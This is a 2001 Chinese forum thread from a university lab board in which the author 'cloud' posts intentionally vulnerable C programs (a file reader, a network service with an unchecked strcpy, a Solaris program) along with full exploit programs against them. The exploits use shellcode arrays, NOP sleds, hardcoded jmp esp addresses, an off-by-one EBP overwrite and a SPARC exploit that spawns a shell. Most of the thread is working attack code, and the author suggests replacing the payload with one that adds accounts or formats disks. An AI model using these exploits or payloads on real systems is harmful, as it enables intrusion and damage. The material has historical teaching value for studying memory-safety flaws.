[ret][ebp][ (  binnar_code)(NOP NOP NOP .....)]
   |                                              |
   ---------------------------------------
【Visual C++】:针对BUG.C Win2k下的溢出程序针对BUG.C Win2k下的溢出程序


             cloud (cloud) 2001-6-28 18:44:36
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

/*  bug.c   
*/
#include <windows.h>
#include <stdio.h>
char file_buffer[500];
int i;
char buff[256];
void test()
{
 char line_buffer[256];
 /* . . . .*/
 memcpy(line_buffer,file_buffer,sizeof(file_buffer));
 /* . . . . */
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{

 FILE * f = fopen("datafile2.dat","rb");
 long len;
 if(f == NULL)
 {
  MessageBox(0,"打开文件失败!","WinMain BUG",MB_OK);
  return -1;
 }
 fseek(f,0,SEEK_END);
 len = ftell(f);
 fseek(f,0,SEEK_SET);
 if(len > sizeof(file_buffer))
  len = sizeof(file_buffer);
 if( fread(file_buffer,1,len,f) != len)
 {
  MessageBox(0,"读文件失败!","WinMain BUG",MB_OK);
  fclose(f);
  return -2;
 }
 fclose(f);

 test();
 MessageBox(NULL,"WinMain END ,RETURN!","WinMain",MB_OK);
 return 0;
}


溢出攻击程序For Win2k
/*
Name : ex2.c
Tested: Win2k pro sp1
   by cloud
*/
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[108]= 
{
0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xB8 ,0xE8 ,0x03 ,0x2B ,0xE0 ,0x33 ,0xDB ,0xB3 ,0x0C,
0x4b ,0x4b ,0x33 ,0xC0 ,0x88 ,0x04 ,0x2B ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68 ,0x73,
0x72 ,0xE6 ,0x77 ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53 ,0x8B ,0xC5 ,0x83 ,0xC0,
0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68 ,0x2D ,0xF3 ,0xE6 ,0x77 ,0x68 ,0x7E ,0x73,
0xE0 ,0x77 ,0xC3 ,0xE8 ,0xbe ,0xFF ,0xFF ,0xFF,
'u','s','e','r','3','2','.','d','l','l','0',
'M','E','S','S','A','G','E','0',
'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
#define BUFFER_LEN 256
//unsigned long * p;
DWORD getesp()
{
 __asm mov eax,esp
 __asm add eax,8
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{

 FILE * f = fopen("datafile2.dat","wb");
 if(f == NULL)
 {
  MessageBox(0,"打开文件失败!","WinMain Ex",MB_OK);
  return -1;
 }
 addr = getesp();
 addr = addr - 200;
 
 cp = (unsigned char *) buff;
 for(i=0;i<256 - sizeof(shellcode) ;i++,cp ++ )
 {
  *cp = 0x90;
 }
 for(i=0;i<sizeof(shellcode);i++,cp++)
 {
  *cp = shellcode[i];
 }
 lp = (unsigned long *)cp;
 for(i=0;i< 40 ; i++,lp++)
 {
  * lp = addr;
 }
 cp = (char *)lp;
 *cp = '/n';
 *cp = '/0';
 
 if(fwrite(buff,1,sizeof(buff),f) != sizeof(buff))
  MessageBox(0,"写文件失败!","WinMain Ex",MB_OK);
 fclose(f);
 return 0;
}
            -----------
【Visual C++】:windows下越界一个字节也能导致溢出攻击windows下越界一个字节也能导致溢出攻击


             cloud (cloud) 2001-6-27 12:17:25
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

如下test()函数有问题,但我们不能覆盖ret  只能覆盖ebp低字节,我们又能作什么呢??

char buff[1024];
int i;
void test( )
{
   char buffer[128];
    /*  . . . . . . . . . . . . . . . */
   for(i=0; i<129 ; buffer[i]= buff[i++]);
   /*  . . . . . . . . .. . . . . . . */

}
void main()
{
    /* . . .. . . ....*/
    test();
   /* . . . . . . .. . */
}

我们看看main 和 test调用时作了什么:

;test
;{
push ebp
mov  ebp,esp
sub   esp,128        ;为buffer预留空间


 . . . ..

mov esp,ebp
pop  ebp
ret
;}

在main中也如上:

看看  我们改写了ebp的低位后ebp将在main返回前传给esp

如果ebp能指向shellcode地址的低位那么main函数返回时将读入我们的地址作返回

在main返回前

esp = ebp
pop   地址
返回pop出的 地址
                 |shellcode的地址|  ---->|
ebp    ---->|          ??          |          |
                 |                        |          |
                 |    shellcode      | <------

那么在main函数返回时我们的shellcode将被执行.

现在看看test中溢出覆盖ebp低位时如何,ebp也指向栈,当test中和main中栈内偏移不超过 255 字节时
高3位相同,仅修改低位就能指向buffer

比如buffer地址为 0x00463000
那么覆盖后如下
               ----------------------------------------------------------->
                                        ebp
            |ret           | 0x00463000 +128  - 8 |  0x00463000|  ??         |   shellcode     |
len:            4                       4                                  4               4                 120

main 返回时

mov  esp,ebp    ;                                                                                  ^
                                                                                                             |
                                                                                                             esp

pop   ebp;                                                                            ^
                                                                                             |
                                                                                              esp

ret 0;        ok   我们的机器码被执行了!!!!


演示程序:


/*
Name  : Ex_byte.c
Tested: windows95
    by cloud    2001-6-5
*/
#include <windows.h>
#include <stdio.h>
char shellcode[108]= 
{
 0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xb8 ,0xe8 ,0x03 ,0x2b ,0xe0 ,
 0x33 ,0xDB ,0xB3 ,0x0C ,0x4b ,0x4b ,
 0x33 ,0xC0 ,0x88 ,0x04 ,0x2b ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68,
 0xF3 ,0x75 ,0xF7 ,0xBF ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53,
 0x8B ,0xC5 ,0x83 ,0xC0 ,0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68,
 0x91 ,0xB1 ,0xF8 ,0xBF ,0x68 ,0xD9 ,0x38 ,0xF6 ,0xBF ,0xC3 ,0xE8 ,0xbe,
 0xFF ,0xFF ,0xFF,
 'u','s','e','r','3','2','.','d','l','l','0',
 'M','E','S','S','A','G','E','0',
 'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
//unsigned long * p;
DWORD getesp()
{
 __asm mov eax,esp
 __asm add eax,20
}
void test()
{
 char buffer[256];
 addr = getesp();
 addr += 100;

 cp = (char *)buffer;

 for(i=0;i<252 - sizeof(shellcode)  ;i++,cp ++ )
 {
  *cp = 0x90;
 }
 for(i=0;i<sizeof(shellcode);i++,cp++)
 {
  *cp = shellcode[i];
 }
 lp = (unsigned long *)cp;
 * lp = addr;
 lp ++;
 cp = (char *)lp;
 *cp -=20;

}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{
 test();
}
            -----------
【Visual C++】:另一种溢出方式 JMP ESP另一种溢出方式 JMP ESP


             cloud (cloud) 2001-6-27 11:50:20
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

以上的溢出都是靠猜测buffer地址范围来进行(当然也可以写程序不断猜测)
自己写的程序当然地址很容易确定,但若攻击别人的程序就不大方便了
往往要猜很多此,传统的程序猜测地址同buffer长度相关,同test()中的数据定义相关
,同调用test() 的函数相关 . . . . . 要猜测的范围就比较大!!!!!   一般不易猜中!
当然你用soft_ice跟踪到test( )记录栈情况也是可行.

我们可以用另一种只用猜测buffer长度即可的方法实现溢出后执行我们的机器码!

在操作系统核心如kernell32.dll 等系统调用中有jmpl esp指令 如在win95中0xc1049a17
地址处就有一条这样的指令!!! 打开soft_ice查找一下能查到很多!

那么如果知道buffer长度  buff_len  那么我们在  buff_len+8范围内放入 0xc1049a17
ret就被覆盖了然后在上部放入我们的binnar code,那么test( )返回时机器码将被执行
此时仅需知道buffer长度即可

栈覆盖前

 ---------------------->
|? ? ? ? ?      | ret                  | ebp            |      buffer                                            |


覆盖后

|binnar code|  0xc1049a17 | 0xc1049a1 |  0xc1049a1  . . .. . . . .. .                     |
                          |
                          |
                          ------------->   jmp esp

                    ^
                     |
                     esp

test( )
返回时返回到  0xc1049a1  处  执行了  jmpl esp   而此时esp指向我们的binnar code

如下程序是一个演示 编译参数  cl   ex_jesp.c   /link user32.lib

shellcode  部分机器码 为:  弹出一个消息窗显示 From Binnar Code.   后调用ExitProcess()


/*
Name:   Ex_jesp.c
Tested: Windows95
    by cloud  2001-6-5
*/
#include <windows.h>
#include <stdio.h>
char shellcode[108]= 
{
 0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xb8 ,0xe8 ,0x03 ,0x2b ,0xe0 ,
 0x33 ,0xDB ,0xB3 ,0x0C ,0x4b ,0x4b ,
 0x33 ,0xC0 ,0x88 ,0x04 ,0x2b ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68,
 0xF3 ,0x75 ,0xF7 ,0xBF ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53,
 0x8B ,0xC5 ,0x83 ,0xC0 ,0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68,
 0x91 ,0xB1 ,0xF8 ,0xBF ,0x68 ,0xD9 ,0x38 ,0xF6 ,0xBF ,0xC3 ,0xE8 ,0xbe,
 0xFF ,0xFF ,0xFF,
 'u','s','e','r','3','2','.','d','l','l','0',
 'M','E','S','S','A','G','E','0',
 'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
//unsigned long * p;
void test()
{
 char buffer[256];
 for(i=0;buff[i]!='/n';buffer[i]=buff[i++]);
 MessageBox(0,"Test Return ","Test",0);
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{
 unsigned long addr = 0xc1049a17;
 int addr_len = 264; 
 lp = (unsigned long *)buff;
 for(i=0;i<addr_len/4; i++,lp++)
 {
  * lp = addr;
 }
 cp = (char *)lp;

 for(i=0;i<sizeof(buff) - sizeof(shellcode) - addr_len/4 -1 ;i++,cp ++ )
 {
  *cp = 0x90;
 }
 for(i=0;i<sizeof(shellcode);i++,cp++)
 {
  *cp = shellcode[i];
 }
 *cp = '/n';
 
 
 test();
 MessageBox(0,"WinMain Return.","WinMain",0);
 return 0;
}

---------------
【Visual C++】:若将Bug.c中memcpy改为strcpy后的攻击方法若将Bug.c中memcpy改为strcpy后的攻击方法


             cloud (cloud) 2001-6-28 18:51:30
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

简单看起来
memcpy(line_buffer,file_buffer,sizeof(file_buffer))
改为
strcpy(line_buffer,file_buffer)
后攻击程序一样!
但是我们的file_buffer中为:   [ addr][shell code][NOP]
其中shellcode ,NOP 部分都不含/0
但是看看addr,由于栈地址都以00开始,就是说
addr四个字节的高位一定为0
就使得strcpy拷贝到第一个地址的低3位后就不在拷贝,使得我们无法覆盖test()
的返回地址,此时的解决方法就是用前面讲到的jmp esp  法
具体操作就不多罗嗦了!


※编辑: cloud 于 2001-6-28 20:12:49 在 [202.117.82.4] 编辑本文
            -----------
【Visual C++】:改为strcpy后对bug.c的攻击程序改为strcpy后对bug.c的攻击程序


             cloud (cloud) 2001-6-28 20:15:16
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

以下为使用jmp esp 方法的攻击程序
编译方法: cl /ex2.c /link user32.lib

/*
Name : Ex2.c
Tested:Win2k pro sp1
     by cloud 2001-6-28
*/
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[108]= 
{
0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xB8 ,0xE8 ,0x03 ,0x2B ,0xE0 ,0x33 ,0xDB ,0xB3 ,0x0C,
0x4b ,0x4b ,0x33 ,0xC0 ,0x88 ,0x04 ,0x2B ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68 ,0x73,
0x72 ,0xE6 ,0x77 ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53 ,0x8B ,0xC5 ,0x83 ,0xC0,
0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68 ,0x2D ,0xF3 ,0xE6 ,0x77 ,0x68 ,0x7E ,0x73,
0xE0 ,0x77 ,0xC3 ,0xE8 ,0xbe ,0xFF ,0xFF ,0xFF,
'u','s','e','r','3','2','.','d','l','l','0',
'M','E','S','S','A','G','E','0',
'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
#define BUFFER_LEN 256
//unsigned long * p;

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{

 FILE * f = fopen("datafile2.dat","wb");
 if(f == NULL)
 {
  MessageBox(0,"打开文件失败!","WinMain Ex",MB_OK);
  return -1;
 }
 
 addr = 0x77E6898B;   // addr of jmp esp
 lp = (unsigned long *) buff;
 for(i=0; i< (BUFFER_LEN + 8) / 4;i++,lp ++)
  *lp = addr;
 cp = (unsigned char *) lp;
 for(i=0;i< 32 ;i++,cp ++ )
  *cp = 0x90;

 for(i=0;i< sizeof(shellcode);i++,cp++)
  *cp = shellcode[i];
 *cp = '/n';
 *cp = '/0';
 
 if(fwrite(buff,1,sizeof(buff),f) != sizeof(buff))
  MessageBox(0,"写文件失败!","WinMain Ex",MB_OK);
 fclose(f);
 return 0;
}
            -----------
【Visual C++】:如果一个网络服务器程序没有检查边界的话 . . .如果一个网络服务器程序没有检查边界的话 . . .


             cloud (cloud) 2001-6-28 21:56:03
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

例如如下程序
编译参数:   cl bug_service.c /link user32.lib kernel32.lib ws2_32.lib
运行后没有界面在后台运行,可以用任务管理器看到

在didread()
中明显的strcpy()
我们可以通过同样的方法时其运行我们的一段机器码!!!
当然这段机器码干什么就由你定了: 格式化C盘 ?    添加账号?   . . . . .

/*
Named : bug_service.c
Tested : Win2k pro sp1
     by cloud 2001-6-28
*/
#include<winsock2.h>
//#include<stdio.h>
void err_dump(char *p)
{
  printf("%s/n",p);
  exit(-1);
} 
void didread( char * buff)
{
 char self_buffer[256];
 strcpy(self_buffer,buff);
 MessageBoxA(0,self_buffer,"",0);
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{
 char buffer[512];
 WORD wVersionRequested;
 WSADATA wsaData;
 struct sockaddr_in cli_addr,serv_addr;
 int sockfd,newsockfd,clilen,childpid;
 int err;

 wVersionRequested = MAKEWORD( 2, 2 );
  err = WSAStartup( wVersionRequested, &wsaData );
 if ( err != 0 )
 {
  err_dump("ws2_32.dll not find!/n");
  return -1;
 }
 
 if ( LOBYTE( wsaData.wVersion ) != 2 ||   HIBYTE( wsaData.wVersion ) != 2 )
 {
  WSACleanup( );
  err_dump("little than 2.2 !/n");
  return -2;
 }
 
 

 
 if( (sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
  err_dump("serber:can't open stream socket/n");
   
 serv_addr.sin_family=AF_INET;
 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
 serv_addr.sin_port=htons(5000);
 
 if(bind(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))<0)
  err_dump("server: can't bind local address/n");
   
 listen(sockfd,5);
 for(;;)
 {
  clilen=sizeof(cli_addr);
  newsockfd=accept(sockfd,(struct sockaddr *)&cli_addr,&clilen);
  if(newsockfd == INVALID_SOCKET )
   err_dump("server:accept error/n");
  MessageBoxA(0,"accepted!","",0);
  //write(newsockfd,"hello!/n",7);
  buffer[0]='4';
  if( recv(newsockfd,buffer,512,0) ==SOCKET_ERROR )
  {
   err = WSAGetLastError();
   sprintf(buffer, "Recv Err : %i",err);
   MessageBoxA(0,buffer,"",0);
   

  }
  if(buffer[0] == 'x')
   break;
  didread(buffer);
  close(newsockfd);
 }

 MessageBoxA(0,"Main Return!","",0);
 WSACleanup();
 return 0;
}
            -----------
【Visual C++】:攻击上一个bug_service.c的攻击程序攻击上一个bug_service.c的攻击程序


             cloud (cloud) 2001-6-28 22:05:30
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

以下为攻击上一个程序的演示程序
攻击成功时我们发送到服务器上的shellcode段机器码将被执行
执行结果是弹出一个消息筐 From Binnar Code.

当然你也可以改为添加账号,  格式化硬盘等等,(不过我不建议大家干坏事!)
由此可见编程时的一个不细心将代来多大的危害.
别以为黑客进入你的主机不可能,或是在那儿猜口令作无用功
其实系统很多网络相关的软件都有边界未检查的编程漏洞,
只要抓住此漏洞很容易就进入你的系统!!
比如前些时候的IIS5 在Win2000上的处理.pri..   时就有这样的问题!!

/*
Name:   ex_serv.c
Tested: Win2k pro sp1
    by cloud 2001-6-28
*/
#include<windows.h>
//#include<winsock2.h>
#include"client.h"
#define BUFFER_LEN 256
char buffer[512];

void makebuff()
{
 unsigned char shellcode[108]= 
 {
 
 0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xB8 ,0xE8 ,0x03 ,0x2B ,0xE0 ,0x33 ,0xDB ,0xB3 ,0x0C,
 
 0x4b ,0x4b ,0x33 ,0xC0 ,0x88 ,0x04 ,0x2B ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68 ,0x73,
 
 0x72 ,0xE6 ,0x77 ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53 ,0x8B ,0xC5 ,0x83 ,0xC0,
 
 0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68 ,0x2D ,0xF3 ,0xE6 ,0x77 ,0x68 ,0x7E ,0x73,
  0xE0 ,0x77 ,0xC3 ,0xE8 ,0xbe ,0xFF ,0xFF ,0xFF,
  'u','s','e','r','3','2','.','d','l','l','0',
  'M','E','S','S','A','G','E','0',
  'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
 };
 int i;
 unsigned long * lp;
 unsigned char * cp;
 unsigned long addr;
 addr = 0x77E6898B;   // addr of jmp esp
 lp = (unsigned long *) buffer;
 for(i=0; i< (BUFFER_LEN + 8) / 4;i++,lp ++)
  *lp = addr;
 cp = (unsigned char *) lp;
 for(i=0;i< 32 ;i++,cp ++ )
  *cp = 0x90;

 for(i=0;i< sizeof(shellcode);i++,cp++)
  *cp = shellcode[i];
 *cp = '/n';
 *cp = '/0';
}

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR  lpCmdLine,int  nCmdShow)
{
 WORD wVersionRequested;
 WSADATA wsaData;
 int s,err;

 wVersionRequested = MAKEWORD( 2, 2 );
  err = WSAStartup( wVersionRequested, &wsaData );
 if ( err != 0 )
 {
  printf("ws2_32.dll not find!/n");
  return -1;
 }
 
 if ( LOBYTE( wsaData.wVersion ) != 2 ||   HIBYTE( wsaData.wVersion ) != 2 )
 {
  WSACleanup( );
  printf("little than 2.2 !/n");
  return -2;
 }
 
 s = connectTCP("localhost","5000");
 if(s == 0)
 {
  MessageBoxA(0,"connect failt","",0);
  return -1;
 }
 makebuff();
 if( send(s,buffer,sizeof(buffer),0) == SOCKET_ERROR )
  MessageBoxA(0,"send Err!","",0);
  
 Sleep(3000);
 MessageBoxA(0,"send ok!","",0);
 WSACleanup();
 return 0;
}

//End ex_serv.c

------------------------------------------------------------ client.h ----------------------------------------------
//begin client.h

#ifndef  INADDR_NONE
#define  INADDR_NONE 0xffffffff
#endif

extern int errno;
int errexit(const char *format,...)
{
   va_list args;
  
   va_start(args,format);
   vfprintf(3,format,args);
   va_end(args);
   exit(1);
}  

int connectsock(const char *host,const char *service,const char *transport)
{
  struct hostent    *phe;
  struct servent    *pse;
  struct protoent   *ppe;
  struct sockaddr_in sin;
  int s,type;
 
  memset(&sin,0,sizeof(sin));
  sin.sin_family=AF_INET;
 
  if(pse=getservbyname(service,transport))
        sin.sin_port=pse->s_port;
  else if( (sin.sin_port=htons((u_short)atoi(service))) == 0)
        errexit("can't get /"%s/" service entry /n",service);
 
  if(phe = gethostbyname (host))
        memcpy(&sin.sin_addr,phe->h_addr,phe->h_length);
  else if( (sin.sin_addr.s_addr = inet_addr(host) )==INADDR_NONE)
    errexit("can't get /"%s/" host entry/n",host);
 
  if( (ppe=getprotobyname(transport))==0)
   errexit("can't get /"%s/" protoco entry /n",transport);
 
  if(strcmp(transport,"udp")==0)
     type = SOCK_DGRAM;
  else
   type = SOCK_STREAM;
 
  s=socket(PF_INET,type,ppe->p_proto);
  if(s<0)
   errexit("can't create socket :%s/n",strerror(errno) );
 
  if(connect(s,(struct sockaddr *)&sin,sizeof(sin))<0)
   errexit("can't connect to %s.%s:%s/n",host,service,strerror(errno));
  return s;
 
}

int connectTCP(const char *host,const char *service)
{
  return connectsock(host,service,"tcp");
}                                 

int connectUDP(const char *host,const char *service)
{
  return connectsock(host,service,"udp");
}                                 
//End client.h
            -----------
【Visual C++】:在Solaris For Spac芯片上的溢出在Solaris For Spac芯片上的溢出


             cloud (cloud) 2001-6-27 12:29:11
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

在Unix平台溢出问题也是差不多,以前我写过一个Solaris下的攻击程序
如下:  可以参见我的个人站点   iceinsun.yeah.net
有bug的程序:

/*
  sr.c  for sparc solaris
tested on solaris2.6    by cloud 1999-5-16
*/
#include<string.h>
#include<stdio.h>
#include<unistd.h>
void ill(char *);
void ill_jump(char *);
int i;

u_long get_sp()
{
  __asm__("mov %sp,%i0 /n");
}

main(int argc ,char * argv[])
{
    printf("static main  -->%p/n",get_sp());
    if(argc>1)
    {
   ill_jump(argv[1]);
    }
    printf("Over !/n");
}
void ill_jump(char *str)
{
  printf("static sub 1  -->%p/n",get_sp());
  printf("strlen=%d /n",strlen(str));
  printf("/n");
  ill(str);
}
void ill(char *str)
{
   u_char buff[8];
   printf("static sub 2  -->%p buff addr %p/n",get_sp(),buff);
   strcpy(buff,str);
}
 


溢出攻击程序如下:

/*
     ex.c    exploit sr.c    to get shell
    tested on solaris 2.6  for sparc     by cloud 1999-5-16
*/
#include<stdio.h>
#include<unistd.h>

u_char shell_code[]=
"/x82/x10/x20/x17/x91/xd0/x20/x08"
"/x82/x10/x20/xca/xa6/x1c/xc0/x13/x90/x0c/xc0/x13/x92/x0c/xc0/x13"
"/xa6/x04/xe0/x01/x91/xd4/xff/xff/x2d/x0b/xd8/x9a/xac/x15/xa1/x6e"
"/x2f/x0b/xdc/xda/x90/x0b/x80/x0e/x92/x03/xa0/x08/x94/x1a/x80/x0a"
"/x9c/x03/xa0/x10/xec/x3b/xbf/xf0/xdc/x23/xbf/xf8/xc0/x23/xbf/xfc"
"/x82/x10/x20/x3b/x91/xd4/xff/xff";

#define ADDR_LEN 88
#define NOP_LEN  100
#define CODE_LEN 100
#define SPARC_NOP  0xa61cc013

u_long *return_addr,tmp_nop;
u_char *real_code,*nop_code;
int i,ALL_LEN=ADDR_LEN+NOP_LEN+CODE_LEN;
char buff[ADDR_LEN+NOP_LEN+CODE_LEN+1];

u_long get_sp()
{
  __asm__("mov %sp,%i0/n");
}

main()
{
  printf("Me stack -->0x%p expect stack-->0x%p/n",get_sp(),get_sp()-ALL_LEN);
  buff[ADDR_LEN+NOP_LEN+CODE_LEN]='/0';
  memset(buff,'A',ALL_LEN);
  return_addr=(u_long *)buff;
  for(i=0;i<ADDR_LEN/4;i++)
    *return_addr++=get_sp()-ALL_LEN +216;

  return_addr++;
  return_addr++;

  nop_code=(u_char *)return_addr;
  for(i=0;i<NOP_LEN;i+=4)
  {
    tmp_nop=SPARC_NOP; *nop_code++=(tmp_nop >> 24) & 0xff;
    tmp_nop=SPARC_NOP; *nop_code++=(tmp_nop >> 16) & 0xff;
    tmp_nop=SPARC_NOP; *nop_code++=(tmp_nop >> 8 ) & 0xff;
    tmp_nop=SPARC_NOP; *nop_code++= tmp_nop        & 0xff;
  }

  real_code=nop_code;
 
/*  for(i=0;i<NOP_LEN+CODE_LEN;i+=4)
    *return_addr++=SPARC_NOP;

  real_code=(u_char *)return_addr;
*/  

  for(i=0;i<strlen(shell_code);i++)
    *real_code++=shell_code[i];

  execl("./sr","sr",buff,0);
}
-----------------
【Visual C++】:Solaris For Spac上的栈情况Solaris For Spac上的栈情况


             cloud (cloud) 2001-6-27 19:28:40
             开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏

看看此程序运行中的堆栈情况如后面所示
从中可以看到给func分配buff是在压入func返回地址之前
所以我们不能覆盖func的返回地址,但我们可以覆盖main的返回地址
所以覆盖后当main返回时才转到我们的二进制代码中来,这点同windows下
的溢出有很大区别

#include<stdio.h>
func ( char * str )
{
    char buff[8];
   strcpy(buff, . . .);
}
void main (  )
{
        func( argv[1] );
}

堆栈低址

       ___________ ___________
%sp       | %l0-%l7      | 8*4    保存func()的%l0-%l7寄存器
              |__________|
%sp+32 | %i0-%i7     | 8*4    保存func()的%i0-%i7寄存器 (%i7包含func()的返回地址)
              |__________|
%sp+64 |返回值地址| 1*4    为下一个被调函数保留的返回值地址空间
              |__________|
%sp+68 | 参数地址     | 6*4    为下一个被调函数保留(前6个)参数的空间
              |__________|
%sp+92 | 参数地址     | n*4    n>=1 如果下一个被调函数的参数>6,多出的参数在这里分配
              |__________|
              |局部变量      | n*8    为func()的局部变量分配空间,每8个字节为一个分配单元
              |__________|
              | 临时区域     | 4*4    C编译器用来计算表达式时储存一些临时变量的区域
              |__________|___________ %fp ( main() )
%fp        | %l0-%l7  | 8*4    保存main()的%l0-%l7寄存器
              |__________|
%fp+32 | %i0-%i7      | 8*4    保存main()的%i0-%i7寄存器(%i7包含main()的返回地址)
              |__________|
%fp+64 |返回值地址  | 1*4    为下一个被调函数(这里是func())保留的返回值地址空间
              |__________|
%fp+68 | 参数地址     | 6*4    为下一个被调函数(这里是func())保留前6个参数的地址空间
              |__________|
%fp+92 | 参数地址     | n*4    n>=1 如果下一个被调函数的参数>6,多出的参数在这里分配
              |__________|
              |局部变量      |
              |  ....              | n*8    为main()的局部变量分配空间,每8个字节为一个单元
              |__________|
              | 保留区域     | 4*4    4个字的保留区域
              |__________|
              | %l0-%l7      |
              |__________|
       

堆栈高址

            -----------


 

CTF Pwn入门:栈溢出漏洞原理与Ret2Text利用实战 栈溢出是二进制安全领域的核心概念,其本质是程序向栈上缓冲区写入数据时超出预定边界,覆盖了相邻内存区域。这一漏洞源于C语言中不安全的字符串处理函数(如gets、strcpy)缺乏边界检查。从原理上看,函数调用时会在栈上保存返回地址以维持程序正常控制流,而栈溢出可以覆盖该地址,从而劫持程序执行流程。其技术价值在于为理解内存安全漏洞提供了经典范例,是学习控制流劫持、ROP链构造等高级利用技术的基础。在应用场景上,栈溢出常见于CTF竞赛的Pwn题型、历史遗留软件的安全审计以及二进制漏洞挖掘中。本文以一道CTF题目为 阅读详情

相关推荐

C语言跨平台动态链接库开发实战:从DLL到SO的完整指南

动态链接库(DLL/SO)是软件工程中实现代码复用和模块化开发的核心技术,其核心原理在于允许程序在运行时加载共享的功能模块,而非在编译时静态链接。这种机制通过分离接口与实现,实现了内存节省、便于更新和独立部署等技术价值,广泛应用于操作系统组件、中间件和大型软件系统的插件架构中。在跨平台开发场景下,不同操作系统对动态库的管理机制存在显著差异,例如Windows的DLL与Linux的SO在符号导出、内存管理和运行时链接等方面各有规范。本文聚焦于C语言这一稳定且广泛支持的系统级编程语言,深入解析如何通过统一的接口

weixin_34290631的博客 893

[Windows] 缓冲区溢出漏洞实验和补丁程序编写

[Win] 缓冲区溢出漏洞实验和补丁程序 题目描述 文件列表: SSEx.exe : 编译生成的可执行文件 已知所给的代码中存在安全漏洞 请找到导致漏洞的代码 分析漏洞的成因 给出一种成功的利用:显示信息“eXploited!” 修复该漏洞 撰写详细的分析利用报告 题目文件百度网盘链接:link 提取码:fwle 分析环境 操作系统 Windows 10 C/C++ IDE Visual Studio 2019 反编译工具 IDA Pro 64-bit 十六进制编辑器 WinH

PlanetRT的博客 1780

C/C++编译移植与C#跨平台实现:核心技术差异与实战选型指南

跨平台开发是软件工程中的核心挑战,其本质在于如何让同一套代码在不同操作系统和硬件架构上运行。从技术原理上看,主要存在两种实现路径:一种是通过编译器将源代码直接编译为特定平台的原生机器码,另一种是借助中间语言和运行时环境实现“一次编写,到处运行”。前者以C/C++为代表,依赖源码级兼容和条件编译,通过GCC、Clang、MSVC等工具链生成高性能二进制文件,但需要开发者手动处理平台API差异。后者以C#和.NET平台为典型,代码被编译为中间语言(IL),由.NET运行时(如.NET Core)的JIT编译器动

373

开发平台之缓存设计

背景平台里面有一些数据会经常被访问,比如:菜单的链接、数据字典、常用配置等,而且不会发生频繁的改动,这些数据都应该考虑加入缓存来优化查询速度,避免频繁地从数据库直接查询获取。那在我们常见的应用中有哪些常见的缓存呢?常见缓存EhCache、Redis、Memcache等。

Hello World 780

C++跨平台开发实战:架构设计、工具链与常见问题解决方案

